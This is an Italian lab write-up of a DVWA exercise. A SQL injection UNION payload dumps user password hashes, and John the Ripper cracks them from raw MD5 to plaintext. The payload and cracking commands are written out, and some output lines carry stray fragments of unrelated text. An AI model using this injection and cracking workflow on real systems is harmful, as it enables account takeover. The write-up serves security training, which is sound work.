

L'obiettivo dell'esercizio di oggi è craccare tutte le password trovate con l'attacco SQL Injection nella DVWA.

Sappiamo che le password trovate sono in hash MD5, cioè un algoritmo che prende in input una stringa e ne produce un'altra a 128bit cioè 32 caratteri esadecimali.

1. Dall'immagine seguente possiamo individuare gli utenti trovati con la relativa password tramite l'attacco SQL Injection.

Vulnerability: SQL Injection

User ID:

```
ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

2. Abbiamo creato un file che incorpori l'accoppiata Username – Password in hash MD5 da poter utilizzare successivamente con il tool John The Ripper.

```
hashesprova
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb:e99a18c428cb38d5f260853678922e03
3 1337:8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

3. Tramite l'utilizzo di John, abbinato alle options "show" e "format" siamo riusciti a decriptare le password di ciascun utente come si può constatare nell'immagine seguente.

```
(giorgio@kali)-[~/Desktop/Modulo2]
$ john --show --format=raw-md5 hashesprova
admin:password input and pot files
gordonb:abc123 ons
1337:charley st-help or doc/OPTIONS
pablo:letmein ax-len=N
smithy:password igh in bytes
mm candidate length in bytes
5 password hashes cracked, 0 left
```

4. Essendo in possesso delle informazioni di login, abbiamo testato che effettivamente fossero valide, eccone un esempio a prova di ciò.

